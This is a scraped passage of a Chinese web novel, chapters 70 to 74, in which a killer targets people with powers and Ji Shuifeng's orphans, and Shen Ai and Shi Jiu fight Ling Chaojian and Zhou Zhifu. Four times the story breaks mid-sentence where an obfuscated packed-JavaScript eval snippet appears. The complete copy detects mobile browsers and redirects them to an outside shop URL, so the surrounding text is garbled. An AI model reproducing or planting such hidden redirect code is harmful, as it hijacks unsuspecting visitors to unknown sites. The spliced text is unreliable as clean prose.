独裁、掌控、统治,这些信念无时无刻不在侵袭他的思想,没有办法把这些东西驱赶出去,只能任由它们腐蚀自己,五脏六腑都烧焦后,好像这些信念本身就是他的追求。 言威想起小时候他的父亲时常对他说的话:历史是胜利者的历史,所以如果想改变历史,就去做个当下历史中的罪人,因为百年后,所有的罪人都是开拓者,都是先知与领袖,除非你本身就失败了。 但言威向来不认为他父亲说的是对的,尽管胜利失败都是相对存在,但世界上一定存在某种准则,这个准则就是天道,在天道下,正义与邪恶都存有倾向性,神与魔并不共存,就像两百多年前沉家的作为一般。 初代的掌权者应该是季雨雪和沉初光,但从没有规则说以后的掌权者只能是这两个家族。有能力者上。 但历史却让季家和言家传承了两百多年,不以能力为基础,以姓氏为基础,所以到言威这里,他想改变这一局面,他反对言霏将掌权者托付给他,而是该让更有能力,心怀苍生的人来,甚至,可以取消掌权者法案。 后来的剧情与他最初的预想截然相反:他成了最年轻的掌权者。 这些记忆涌上来的时候,言威难得痛心片刻,痛心之余,又庆幸自己父亲已经死亡,随后五脏六腑再次陷入焚烧。 很想一了百了,但做不到,用尽全力也只能打伤自己。 慢慢的,言威站起来,他慢步往前走着,眼神逐渐从迷惘变成坚定:他要离开这里,建立他的历史。 不,他与他父亲的历史。 “叮——”又是一个电话响起,电话那头说了几句话,时咎“嗯嗯”两声便挂了,他朝沉皑摇摇头:“也联系不到言威。” 沉皑拧起眉心,心想在这个节骨眼上言威会去哪里?一切可能找到他的地方都没有音信,联系不到,连夏癸也不知道,像凭空消失一般。 如果找不到他,当前只有一个办法:主动出击。 季水风提供的信息是那位最近在文明中心屠杀能力者的是一个拥有隐形能力的人,这个能力在以前从来没有出现过,不是文明中心的人,还不能贸然行动。 “她说目前是两个人,一个是隐形的,另一个是黑衣服。”时咎说,说完上下打量沉皑,调侃了一句,“该不会是你吧?” 沉皑淡然笑了一下说:“如果是我,你该庆幸,至少我不会杀你。” 时咎刚要满意这个答复,沉皑又接了一句:“麻醉就够了。” 时咎无语:“大可不必说最后一句。” 之前已经有过猜测,那位黑衣服的多半是舟之覆,只是不知道另一个是谁。 时咎问:“舟之覆跟言威合作能做什么?” 这个问题想都不用想,沉皑便面无表情地给了他答案:“言威给他承诺,杀死所有能力者后,让他当掌权者。” 时咎沉默须臾,不理解道:“他怎么就那么想当掌权者,言威会不会给他都是个问题。” 以前听江遂提起过,舟之覆对权力有一种异样的执着,现在看来,这份执着已经让他不择手段了。 沉皑站在窗边往下看,除了一片未重建的废墟、残砖败瓦,整个文明中心街道都没什么人,只是大楼里几乎都亮着灯,跟前段时间所有城区隔离时一样。 他低声说:“我主动下去引他们出来。” 时咎毫不犹豫说:“我跟你一起。”他想了想,补充道,“在他们眼里,我才是那个有能力的人,是他们的目标,我去更合适。” 沉皑回过头看他,微微皱起眉。 时咎确实是最合适的人选,可以瞬移,紧急之下也许还有奇效,这个未被完全证实暂且不谈,如果真的有危险,他从梦里醒来也是安全的,下一次进入梦中,又是一个完整且活生生的人。 只是沉皑不太愿意因为这样而置他于险地。 见他不说话,时咎往前几步走到他身边,轻声对他说:“你别担心我了,我什么情况你又不是不知道,痛一痛就没事了。” 沉皑叹了口气,目光从时咎的眼睛挪到他脖子上,忽然沉皑抬手,手指覆上那根一直未被时咎取下来的脖环,眼里的情绪晦暗不明。 但时咎立刻读懂了,那是抗拒,于是他换了个说法:“那我们一起吧。” 沉皑视线又转移到时咎的目光,片刻,他沉闷地“嗯”了一声。 时咎突然想起什么,他问:“你为什么一直隐瞒你有能力的事?” “不想让人知道而已。”沉皑简单揭过。 不想让人知道他曾经最开心的两年。 “叮——”思绪还没飘出去,沉皑的手机再次响起。 是季水风。 电话一接通,她的声音立刻直直冲出来,简单清晰:“掌权者大楼,单赫死了。” 沉皑捏着手机的手一紧,立刻挂了电话。 “去掌权者大楼。” 路上几乎没人,自从关闭大门的文明中心广场早失去往日神采的热闹,路面的坑洞被修复一些,但依然未能完全复原,看上去一片残垣断壁。偶尔走过的人也是行色匆匆的普通人。 沉皑的脚步非常快,步伐也很大。 路过一个抱紧自己包的人,看见沉皑依然礼貌性叫他一声:“沉先生。” 沉皑朝他微微点头,继续往掌权者大楼走去。 时咎匆匆跟在后面,他觉得不太对,问道:“言威消失了,单赫死了,那掌权者这个位置现在没人了?” 沉皑抿唇,想了想说:“掌权者有应急方案,所有在位者均无法出面时,会有一个代理人,但我不知道他们拟定了谁。” 这个代理人通常来说只是一个摆设,因为两百年间没有出现过同时只有一位掌权人的情况,也没有出现过所有掌权者都无法出面的情况,安定安宁太久,以至于到后来他们有没有设置这个代理人都存疑。 但言威的失踪太匪夷所思了,现在连单赫也死了,到底是…… 电梯打开,两人脚步很快接近掌权者办公室。 旁边已经有安全管理中心的人了,他们最近的工作一直都在处理这些能力者的尸体。 偶尔没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以那小孩的能力是和火相关的,难怪和发病的人、群魔乱舞的人相处一晚上还能安然无恙,但…… 等等,还有一个隐形的,不止两个人,可能是三个! 时咎向沉皑大致解释了一遍,沉皑淡淡说:“如果隐形的出现在我身边,我可以察觉到。” 现在就等这个不知死活的撞上来了。 时咎忽然想起来,沉皑的能力是和能量磁场有关,每个人存在的空间里肉眼看不到的地方依然有无限的物质,但如果某样不属于正常物质的生物靠近,他能感知到。 时咎说:“我们现在要找到凌超建。” 沉皑:“嗯。” 正说着,门发出“砰”一声巨响,季水风一巴掌拍在门上。 时咎转头,却见她脸色惨白,走进来的时候踉跄了一下。 面对这突如其来的变故,时咎皱眉问她:“你怎么了?” 她的嘴唇有些抖,做了几个口型却没有把想说的话说出口,最后强忍着吞下情绪,咬着牙说:“有人在……有人在……水风医院屠杀!” 什么?时咎眉心一跳。 71. 第 71 章 季水风记不得自己是怎么从掌权者大楼出来的,她只感觉自己的手在抖,但她依然压住了躯体反应,开车疾驰去了水风私立医院,然而等她到的时候,看到的只有这一路都在祈祷着不要看到的一幕。 医院的花园里横七竖八躺着或坐着小孩和护士,小孩子们在哭,护士也在哭,有的则在奔跑忙碌,拖着一瘸一拐去扶那些地上的小孩子。 做了漂亮造型的花园绿植被恶意拦腰截断了,花卉也倒了一片,地上随处是破碎的花盆和撒出来的泥土。 “季小姐!”一个抱着小孩的护士看到她,大喊出声。 季水风立刻跑过去,接过护士手里的小孩子。 小孩子睁着眼,脸上脏兮兮的,见是季水风便死死抓住她的衣服,一双大眼睛里都是恐惧。 “没事,没事。”她出声安慰,跟着护士去的方向将小孩都安置在统一的地方。 好在受伤的小孩不多,更多的是惊吓过度晕过去了。季水风一边来回跑,一边听着一起的护士哽咽着告诉她刚刚发生的事。 “刚刚来了一个男人,很高很壮,穿的衣服把全身都遮起来了,我看不到脸,不知道是谁。他问我这就是水风私立医院吗?我说是,问他有什么需要?他,他直接问我小齐和小治在哪里,可是我,我不知道他是谁,我不能告诉他。”她的声音里充斥着不知是忙碌导致的喘气,还是对事件发生后怕的恐惧。 她道:“他,他突然就伸手砸碎了前台的花瓶,说,他说……” 她的声音颤抖得厉害,似乎一回想起当时的画面和那个男人的语气就感到害怕。 “他说,如果不告诉他,他就只能一个房间一个房间找了。” 小齐、小治。 季水风倒吸一口气:“他们在哪?” 两个人跑到前台大厅,这里已经坐着很多小孩了,他们的哭声大得令人心慌不安,谁也没有遭遇过这样的情形,当下每个人都慌不择路。 护士把手里的小孩放下,嘴唇剧烈颤抖。 “在哪?阿修的房间对吗?”没得到回答,季水风着急再次追问。 刚刚是自由时间,如果那个时候他们没有乱跑,没有出去玩,是应该在阿修的房间。护士缩紧身体,不敢抬头不敢说话,眼睛也只能看着地面,最后微不可察地点头。 季水风放下小孩,脸上焦急的表情让小孩几乎快哭出来,她只能摸摸他的头说:“乖,没事,别怕,已经没事了。”说完她转身就朝那个熟悉的房间飞奔而去。 阿修去世后,听说小齐小治为了怀念他,都搬进他一直居住的房间,也一直将他的东西保持原样,做什么都会保留他的一份,就像他只是短暂的离开一些时间,如果不为他着想,他们会心有愧疚,也会惹得阿修回来后不高兴。 一个房间住着两个人,却是三个人的灵魂。 季水风从来没觉得这条走廊这么长,鹅毛黄的粉刷此时如同她的脸色一般苍白,她听见了自己的心跳,也听到自己重重在瓷砖上踏响,但她感觉不到自己的身体,像被迫牵引的灵魂往那个熟悉的房间飘去。 房间在眼里越来越近,已经看到了,再跑两步就能看到房间里的灯光,还有影子在有规律的摆动,那是窗帘被风吹起来时,对阳光的欺骗。 “小齐小治!”季水风大喊一声。她的手撑着门沿以让自己不至于速度太快而冲过头。 然而房间内的景象却让她猛退两步,心脏的血全部抽干,眼前一黑。 窗户紧闭着,风是从打碎的玻璃里吹进来的,此时窗帘依然不紧不慢惬意地摇晃着,玻璃在地上破碎了一地。不仅地上,床上也有玻璃碎片。 季水风觉得自己快被溺死了,仿佛坠入深海,耳边再没有空气流窜,没有任何声音,听不到外面的小孩在哭,听不到护士焦急的脚步,除了自己张着嘴一下一下往外吐气的窒息,世界一片安静。 小齐和小治躺在各自的床上,他们的胸腔都被插入了两块硕大的玻璃,血顺着伤口处往下延伸到身体两侧,浸湿被子,浸透床单,殷红一片,两个小孩睁着眼,一动不动。 季水风发出一声惨叫:“啊——!!!” 走廊回荡着很多脚步声,那些杂乱无序的声音一点一点靠近,像被胡乱拨快的丧钟,但季水风没有丝毫反应,直到脚步声纷纷出现在她身后。 一个护士在发出尖叫时猛地捂住了自己的嘴,她的眼睛瞪得快要将眼球炸裂出来,接着,接二连三的人看到了里面这一幕,恐惧无声蔓延,任谁也不敢大声呼吸。 季水风觉得自己的脑子很乱,她不知道她在想什么,或许是想到当时把这三个小孩接回来那天的阳光,或许是陪他们去看电影的夜晚,或许是她思考该给他们取什么名字的那个午后。 那个时候,三个孩子围着她团团转,问他们各自名字的含义,他们总觉得太普通了,不像是以后会拯救世界的名字,他们想改,季水风不让,她温柔说:“怎么不是拯救世界的名字呢?可不要小看自己,你们的名字就是我最大的心愿。” 他们不懂,也永远没人懂,她赋予给了他们怎样的意义。 然而此时望着床上躺着的两个小孩,季水风想不明白。 为什么? 可能过了太久了,季水风坐在冰冷的地上太久了,她感受到阳光已经通过碎玻璃直射到她的脸上才反应过来,她的脸一半被夕阳照得通红,一半在阴影里模糊不清,她抬起头,企图直视正在坠落的太阳,但做不到,越是用力,越是只能感受到眼泪不自觉流下来。 没人敢来打扰她,所以她自己站起来,有些贫血,便伸手靠着门给自己一些支撑。她想给安全管理中心打电话,号码刚刚拨出去,目光却瞥到了她此时左手正撑着的门上。 她来的时候太着急了,一心只想着两个小孩所以没注意门上的东西,然而她现在看到了。门上贴了一张纸条,上面写了字,她微微凑近—— ——杀死不纯之人2 她瞳孔骤缩,手机瞬间滑落下去,砸在地上。 沉皑和时咎匆匆从掌权者大楼出来,两个人的脸色都不太好。 他们现在要去开车,时咎焦急地问:“你知道季水风那个孤儿院在哪?” 沉皑面无表情:“嗯。” 他们刚刚把单赫这里的事完全收尾就接到季水风的电话,知道了那里发生的事,季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沉皑动作比凌超建快得多,在他甚至还没有接近时咎的时候,沉皑已经从后面逼上来了。 凌超建在笑,声音尖锐得像粉笔划黑板。他不担心别人比他强比他快,只担心对方是肉体凡胎。 “呲——”又是一声烫伤的声音,那火完全可以穿透布料! 沉皑收回手,看到同一条胳膊此时被烫伤的两个地方,血一点点流下来。 “别拿手去挡!”时咎着急朝沉皑吼道,随即转身朝向空荡的停车场,“凌超建!出来!贱不贱啊?” 不对,凌超建的能力是火,为什么看不到他?难道他才是隐形的那个?但他是隐形,又如何用火来攻击他们? 时咎屏住呼吸,慢慢往沉皑边上靠,最后站在他身边。 周围很安静,没人注意到这里在发生什么。 有很轻微的脚步声,虽然看不到他人,但是他的动作,衣服摩擦都有声音。时咎警觉地紧盯着四周,忽然,他看到了一些不寻常的东西。 好像是……景象被扭曲了? 72. 第 72 章 一闪而逝的,时咎看到一瞬间,不远处某辆车的轮廓被扭曲了,再仔细看,似乎一直有景物被扭曲,扭曲的顺序从左往右,又从右往左,如果被扭曲那里有东西,是一个人在走路,他就像在来回踱步。 是那个隐形的人?还是凌超建? 不对! 时咎突然反应过来。隐形就是凌超建!拥有火的能力的也是他! 或许这么理解有偏差,那既不是隐形,也不是火,而是高温!时咎记得以前听说过这样的构想:某种高温热隐形材料,这种材料是一种类似超导合金的复合结构,在接收到外部热能时迅速吸收再全部辐射回环境中,因为布满微型热调节器,再以近光速响应环境温度。 不是隐形,是因为热隐形材料的高温能量在光谱中不可见。肉眼看不见,并不代表不存在,唯一可以捕捉他的点在于高温对环境的影响,温度梯度升高导致折射率降低,但光线通过不同折射率的空气时会发生弯曲,所以即使本人“隐形”,肉眼依然能看到他在的地方的“空气扭曲”效果,如同点燃炉灶时,火焰上方空气摇晃的视觉效果。 时咎冷哼了一声,低声对沉皑说:“是高温。” “我知道,你别动,我来。” 沉皑的目光紧逼着那团飘忽的扭曲,肉眼微不可察,但他身边的能量却可以描摹出凌超建的轮廓。 凌超建闲庭信步,他的存在本身就是一种威慑,但走着走着,他发现沉皑的目光一直追着他,他一愣,接着他的身体就浮现出来了。 沉皑微微站直身体,勾起一边嘴角,轻声说:“成功了。” 凌超建也没想到明明自己没有打算显性,却莫名其妙显现了,他立刻再次进入隐形状态,然而瞬间又自动出来了。 这怎么可能? 他脸色微变,还没来得及反应,一道阴影已经冲到他脸上,他声音都没来得及发出来,就被一脚横扫了出去。 凌超建往旁边滚了好几米,趴在绿化带旁边猛咳。 沉皑站在原地,回头看了眼时咎,神色淡淡地解释:“他太小了。”言下之意是凌超建这种未成年人身体素质不行,不是他下手不知轻重,已经很收着力道了。 凌超建愤恨抬起头,脸上的颜料触目惊心。 时咎“啧”了一声,心说扮什么小丑,但凡你能有杰克·纳皮尔[11]一半聪明也不至于这样。 凌超建双手撑着地慢慢站起来,四处望了望,大声说到:“去你妈的吧,看我挨打不来帮我?” 他在跟谁说话?还有人?舟之覆? 绿化带的树叶摇了摇,除此之外这里再度安静下来。 半晌,沉皑往后退了两步,轻声说:“有人来了。” 话音刚落,从绿化带里冲出来好些人,时咎的眼前也凭空跳下来一个,他一脚将掉下来的人踹飞,飞出去的瞬间消散了,时咎怒骂道:“怎么哪都有舟之覆?” “怎么了嘛?”一个声音从远处传来。 舟之覆慢慢走过来,懒懒地说:“想我了啊啊!”话没说完,远处一道黑影闪现在眼前。舟之覆只感觉自己的出场动画还没加载完,已经光荣负伤,被踹到了空地上。 看到这个阵仗,任谁也想明白了最近的情况:有人打开了监狱门放走凌超建,开门的人依然存疑,不过多半是言威,他联合了舟之覆和凌超建,他俩就是最近一直屠杀能力者的两个人。 亡灵大军丝毫没有给人反应的时间,照着沉皑和时咎就前仆后继上来。 每个人都不怎么强,胜在数不胜数,如果一直在这里一定会被耗死,他们现在没有时间耗在这里,还要去和季水风汇合。 时咎抬手劈在冲过来的亡灵头上,消散的影子还没来得及消失干净,下一个又扑上来了。 两个人对付亡灵大军,却不知道什么凌超建又隐形扑了过来,时咎发觉的一瞬间已经来不及了,高温扑面而来,直直擦着他的胳膊烧过去,即使已经下意识躲了。 好烫!时咎痛得龇牙咧嘴,手不自觉捂上伤口又松开,连捂着都疼。 沉皑眼神一凛,刚刚抽出注意力,被新来的亡灵再次吞没。 时咎咬着牙说:“我没事!” 有了亡灵大军的扰乱,想再追随凌超建便不是易事,凭借着感受到的温度,每一次都只能是刚好躲过。 沉皑一拳撂倒面前的人,飞速朝时咎跑来,不料还没到他面前,又是一堆人围了上来。 他眉头紧锁,看到凌超建朝时咎飞扑过去的一瞬间,身边的流光全部自发朝时咎围了过去。 眼看着就是扑到时咎身上,凌超建咧开嘴笑,然而下一秒他就被凭空弹飞,径直往后摔去。 凌超建大吼:“这是什么!” 舟之覆看好戏一样说:“跟你说了时咎这小子的能力你得提防。” 不是他。时咎心下了然,人们对他能力的不确定性,反而模糊了沉皑的能力,谁都以为那是时咎未知的能力,殊不知其实是沉皑,这样既让人忌惮他,又隐藏了真正的能力者。 时咎再次打开冲过来的亡灵,快速看了沉皑一眼,见对方给了自己一个眼神。 凌超建当场被原地困住了,他突然发现自己无法动弹,开始鬼吼鬼叫,声音凄厉得如同杀生:“放开你爹!放开!” 时咎厉狠着声音问:“医院的事是不是你们做的?!” 凌超建往吐了一口口水,跟没听到似的一边挣扎一边问:“去你的,放开你爹,放开就说!” 他身上的束缚瞬间松了,然而凌超建并不打算说,在感受到浑身一松的时候直接跳起来进入隐身模式,下一秒他从半空摔落。 凌超建终于发觉不对了,他落地立刻爬起来,第一个反应竟然是跑,而且跑得飞快。 时咎的目光立刻转向舟之覆,但舟之覆也没料想到凌超建如此干脆的逃亡,一直悠闲的表情逐渐僵化了。 或许时咎的能力远超出他的认知,不仅仅是瞬移和爆破图书馆那么简单。 先跑!舟之覆也生出了这样的念头。 他召唤出一大批亡灵,如洪水猛兽般向两个人奔腾而去,在看着他俩被吞没的空档,转身就跑。 脚步声一刻没停,惊慌里带着浓浓的绝望。 季水风不知道为什么看到第二张纸条的当下,她便想到了这里。 但是她来晚了。 孤儿院的大门毫不设防地开着,里面没有开灯,被月色一照,显得如同洞开的鬼门关。一张课桌被倒放在门口——那里原本不应该有课桌的。 季水风狂奔过去,却只得在门口停下脚步。她喘着气,喘得不得不弯下腰,用双手撑住自己的膝盖,缓缓抬起头,那些场景就映在瞳孔里,如同一把把刀子扎在她心里。 院子秋千的绳索被剪断了,跷跷板只剩下一半,木餐桌也被劈成两块,院子里三三两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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时咎深呼吸,走过去蹲下扶住季水风的肩,埋头轻声问她:“有想法是谁做的了吗?” 季水风轻轻摇头。 时咎望向沉皑,沉皑往前走了两步,直接问:“不纯之人,是什么意思?” 时咎感觉手里的肩膀颤抖了一下,季水风茫然地抬头,目光缓慢挪到沉皑身上,却看到沉皑伸出的手里拿着的纸条。 时咎解释说:“刚刚我们进来的时候,就贴在门上,写的是:杀死不纯之人1.” 季水风脸上肉眼可见的慌张,但她还是很快压制住了,她声音有些抖:“我不知道,我,我收到了三张,这是第三张了,每一张都……” 她似乎突然想到了什么,突然站起来夺过沉皑手里的字条,瞪着眼睛死死看着这上面的字。 不可能,不可能,那个人已经死了,她小时候亲手杀的。 “这个人,在针对我。”季水风说,她转过身,脸上的泪痕还没干,她胡乱抹了一把,说,“我收到数字3的时候,他杀了小齐小治,数字2的时候,袭击了孤儿院,现在是1。” “1……”时咎默念着这个数字。 医院、孤儿院,都是季水风重视的东西,那个人,想毁掉季水风所有重视的东西。 谁会这么针对她?1代表什么季水风珍视的东西? 沉皑拧了下眉头,他想到什么,突然压低了声音,不确定问道:“你……是不是联系不到季山月?” 季山月?! 73. 第 73 章 两个人同时回头,但季水风僵直瞬间很快放松下来,她挤出一个比哭还难看的笑容,说:“是,联系不到,但是,谁能打过他?” 这种感觉不太对。时咎隐隐觉得不安,如此针对季水风,知道她重视的东西,甚至能精确到具体的人,绝对不会不知道季山月的实力,如果说除了医院和孤儿院,季水风还是最珍视的什么,那一定是季山月,在知道季山月能力的同时,还能如此大胆给出像预告一样的字条,说明那个人是有把握同样可以针对季山月的。 但时咎实在想不出来谁会对季水风充满如此大的敌意,同时,能力在季山月之上。 时咎在心里几乎排除掉了舟之覆和凌超建,他之前还在想是不是他俩,但是今天交手后,发现这俩人如出一辙都是做事直来直去,有仇当面报,有话当面说,绝对不可能计划倒数这样的仪式感。他们只想杀掉能力者,而季水风遇到的这个人只针对她个人! 时咎看到沉皑去一边打电话了,片刻,他回来摇头说:“都不知道他在哪。” 顿了一下,他问:“上次联系他说在哪?” “他说……”季水风回想,“在文明中心后面巡查,然后……” 季水风眼睛亮了一瞬间,但也只是一瞬间:“回老宅找夏癸!” 沉皑神色一凛,短促道:“走。” 三人一刻没停迅速上车,在车上季水风尝试给夏癸打电话,然而一直无人接听。 见她又有些着急了,沉皑一边开车一边提醒道:“季水风,别什么事没发生,自己先慌了。夏癸经常不接电话,可能是在陪言不恩。” 季水风拿下手机,轻轻点头,随即整个人靠在后座软绵绵的枕头上,长呼出一口气。 时咎从后视镜看了一眼她,顺手打开车载音响,心想音乐安神,也刚好,里面在播放着舒心的正念冥想音乐。那音乐流淌出来,季水风却在后面皱起眉头。 她的脑海依然无法把今天看到的场景抹去,那密密麻麻的刺,扎穿她的心脏。 依然想不明白这一切的原因,但似乎又能明白,那张纸条上,已经写清楚了一切。 只是时间太久远了。 ——“我若能说万人的方言,并天使的话语,却没有爱,我就成了鸣的锣、响的钹一般[23]。” 当她坐在医院房间门口,看着床上整齐躺着的人,她控制不住不去想她把他们带回来的那天,告诉他们,他们有家了,有家了,慢慢地,以后什么都会有了。为什么要牵连他们呢? ——“我若有先知讲道之能,也明白各样的奥秘、各样的知识,而且有全备的信,叫我能够移山,却没有爱,我就算不得什么[24]。” 当她坐在孤儿院的院子里时,耳边依然充斥着小孩子们的欢笑,如同过去的很多年来到这里。她却不敢抬头看一眼,因为抬头只有破碎。她有太多的期待与愿望,她希望文明发展,她希望世界宁静和平。但为什么会牵连他们呢? ——“我若将所有的周济穷人,又舍己身叫人焚烧,却没有爱,仍然与我无益[25]。” 她希望,有朝一日这个世界因为她,没有人被伤害,没有人被抛弃,没有人痛苦;家人都能团聚,朋友都能重逢,爱人都能永恒。 ——“爱是恒久忍耐;爱是永不止息[26]。” 季水风在疾驰平稳的车里睡着了,她梦到小时候的时光,梦见那间不大的屋子,自己的小天地,也梦到她们的争吵,梦到自己受过的委屈,做过的错事,梦到在医院母亲的决绝,最后这一切又全部化作泡沫,变成她前往文明中心时孤独的背影。 时咎转头看到季水风睡着了,把音乐声关小了些,他看着前方黑色铺展开的路,只有车灯在上下摇晃,照着这些幽暗。 “你怎么想?”时咎低声问。 沉皑在开车,闻言,淡淡开口:“很不好。” 时咎点头,随即长叹一口气。 本来只是想来找找灵感,越是深入,越是窒息,好像一双无形的手逐渐推着他们往前。 落入言威的圈套里,现在教化所是没办法去了,还不知道虚疑病的下一个目标是谁,文明中心又接连出事,舟之覆和凌超建还没解决,季水风这里又有问题,每一件都难以止息。 相对来讲,现在最好入手的,只有舟之覆和凌超建。 汽车穿过山林,绕过蜿蜒小路,到四周都寂静的老宅的时候已经凌晨了。言不恩穿着睡衣不开心地过来开门,看到来人,瞬间睡意与不爽全无。 “姐!!”她大喊,一下扑到了季水风身上,季水风则稳稳接住她,接着她立刻发现了季水风不太对,她挣扎着抬起头,疑惑地用手抹了抹季水风的脸,问,“姐你怎么了?你是不是哭过了?淋雨了?外面下雨了吗?” 在言不恩的印象里,季水风是世界上最坚强的人,无论什么事都不会哭的,以前她父亲带着他们几个训练,那么艰苦,她都是咬着牙坚持下来,一声不吭。 季水风张嘴,没说出话,时咎立刻在旁边接道:“这边没下雨吗?我们那边刚刚下了会儿。” 果然如此,言不恩脸上的笑容又堆出来。 夏癸原本已经躺下了,听见外面的声音,知道是他们几个回来,便换回正装又出来了。 大客厅墙上的钟一刻不停地动着,秒针的声音格外明显,分不清是因为夜深了还是它本就如此。 “哒、哒、哒、哒……” 夏癸很少素净着脸出来,只得重新点上熏香,为他们分别斟了茶,在大客厅的沙发上坐下,温柔地问:“这么晚了,怎么突然回来了?路上得多不安全呀。”她的目光转了一圈,停在时咎身上,她愣住。 “这是?” 言不恩高举双手,开心道:“妈咪,这是时咎哥哥,可是我最近喜欢的哥哥!和臭脸哥哥关系可好了!” 臭脸哥哥。时咎有时候还挺佩服言不恩的乱取名能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187365|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力,他坐着朝面前的女人微微鞠躬:“阿姨好。” 夏癸收起自己的诧异,柔和道:“你也好。和沉皑关系好呀?那可真是不容易。”说话间,她似乎想起了什么一样笑出来,“你放松,当自己家就好。他们几个谁都没有带人回来过,所以我多问了一句,别介意。” 时咎朝她微微点头。 或许是太晚了的缘故,时咎听着那钟的声音有点困意,这几天是有点累。 沉皑不想参与他们的寒暄,直接淡声问:“季山月呢?” 夏癸抬头看一眼墙上的钟说道:“不知道,没跟你们一起吗?早上很早就走了呀。” 三个人互相对视一眼。夏癸察觉出不对,担忧地问:“怎么了?发生什么了吗?” 季水风说:“没事,今天没联系到他,以为他回来了,刚好我们有事路过,顺便进来看看。” 夏癸了然笑道:“好吧,可能做什么去了没拿手机罢。”她深呼吸一口气,接着说,“你们也挺久没回来了,这么晚了,明天再回去吧?” 时咎看着沉皑和季水风,沉皑欲言又止,季水风反而先开口:“好。” 夏癸起身,轻声道:“我们这儿房间不多,时咎介意住季山月以前的房间吗?” 时咎连忙摆手:“没……” “他跟我住,别收拾季山月房间了,你也早点休息吧。”时咎的话还没说完便被沉皑打断了,他说话时脸上什么表情也没有,淡然得像理所当然。 时咎侧头看他,在他快要转过来之前又移开视线。 少收拾一个房间当然是最好不过的,夏癸朝他们说:“好,你们也早点休息。”说完,她的目光落在时咎脸上,非常认真地打量了这个第一次被沉皑带来的人,露出一丝不易察觉的疑惑。 钟声,茶香,熏香,静谧地流动,安宁得像与世隔绝的深山老林。 言不恩在这儿,三个人什么都没讲。 “哒、哒、哒、哒……” 秒针的声响在静默的空气里被无限放大。 片刻,季水风站起来,摸了摸言不恩的头,轻声说:“我去睡了,你今天?” “我跟姐姐睡!”言不恩再次举起双手自荐。 若是什么信息也没有,一味的担心,甚至让身边的人担心,并不是一件理智的事,所以季水风强迫自己冷静下来,等待一个转机,希望很快很快就能接到季山月的电话,他会大大咧咧地说,只是没注意手机。 季水风和言不恩走后,客厅里只剩两个人,时咎一直盯着墙上的钟发呆,秒针永恒规律的行走声听得人昏昏欲睡,但又无比放松,好像疲惫一天,终于有可以安心的须臾。 沉皑看他困了,想问他要不要现在就去休息,但犹豫着,却指了下身后一扇门,淡色说:“困吗?不困去外面走走?” 时咎抬眼,顺着他手指的方向,只能看到一扇紧闭的门,他缓慢站起来伸了个懒腰,说:“行啊。” 74. 第 74 章 原本时咎以为外面是一个小花园,但沉皑开门后他才发现,这哪里是个小花园,几乎是一个大公园,私人公园。 沉皑解释说老宅四周都没有人住,这公园听夏癸说是言威造出来的,一草一木,假山与湖,甚至地上的石子路,景象在夜晚看不清,但大自然的气息飘过来,使人觉得心旷神怡。 出门后不远的地方有一块很大的沙土地,被围栏围起来了,这里面没有任何装饰,全是某些人形木桩、尖刺道具、攀岩模型、单杠双杠,和一座几层楼高的假山…… “以前练体能这些的时候就在里面,大部分时间都没出来过。”沉皑示意那块黄土地。 时咎看着那块地方,张了张嘴,问道:“你小时候就在这训练吗?” “嗯,不止。”沉皑虽然在说周围的环境,目光却一直在观察时咎。 时咎觉得这个地方很新奇,这是他第一次直观感受到沉皑长大的地方,但仅仅是那些东西,看着就已经不太让人好过了。时咎问:“很辛苦吗?以前。” 闻言,沉皑笑出来,他低声道:“你不知道吗?” “我?”时咎轻轻侧头看他,没有明白沉皑的意思。 却见沉皑摇头道:“没事。” 时咎抿唇:“好吧。” 也许是没有料想到会有客人,公园并没有开灯,只能借助被远处城市照亮的天来看清脚下的路。 最近一些日子一直在高强度奔波,记不清上次这么缓步行进是什么时候了。 两个人走得非常慢,好像快走一步,便少了一步。他们都没说话,只是沿着那被规定好的石子路,默默往前走着,穿过大片树林,他们在树林深处一处堆满树叶的小空地休息一会儿,接着绕过圆形的湖,走过几座假山,昆虫的声音此起彼伏。 好像这样漫无目的地行走,已经被进行过千万次。 不知道走了多久,再绕一圈回来时,时咎伸懒腰深呼吸,却惊奇发现天意外好看。 “快快快,你抬头。”时咎立刻拍了拍沉皑的肩。 沉皑仰头便看到星空。他笑说:“这边人烟稀少,能看到这些很正常。” 然而时咎很少看到这么纯粹的星空,他突然就不走了,原地站立。 他喜欢自然的美,也喜欢星星毫无保留的释放。 沉皑指了指不远处的围栏黄土,说:“那块地方视野最好,要不要进去坐着?” 时咎欣然答应。 周围没有树荫遮挡,时咎进去跑到正中央位置直接坐下,也不管会不会沾到泥土,于是沉皑也在他旁边坐下了。 时咎仰头几秒就开始觉得脖子不舒服,索性躺下去。 夜晚的星空在眼里延伸,原来是这种感觉。 时咎抬腿用膝盖去顶沉皑的后背,说:“不然你也躺下?” 昏暗的公园里,微隆起的黄土上,两个人躺在一起观赏星空。 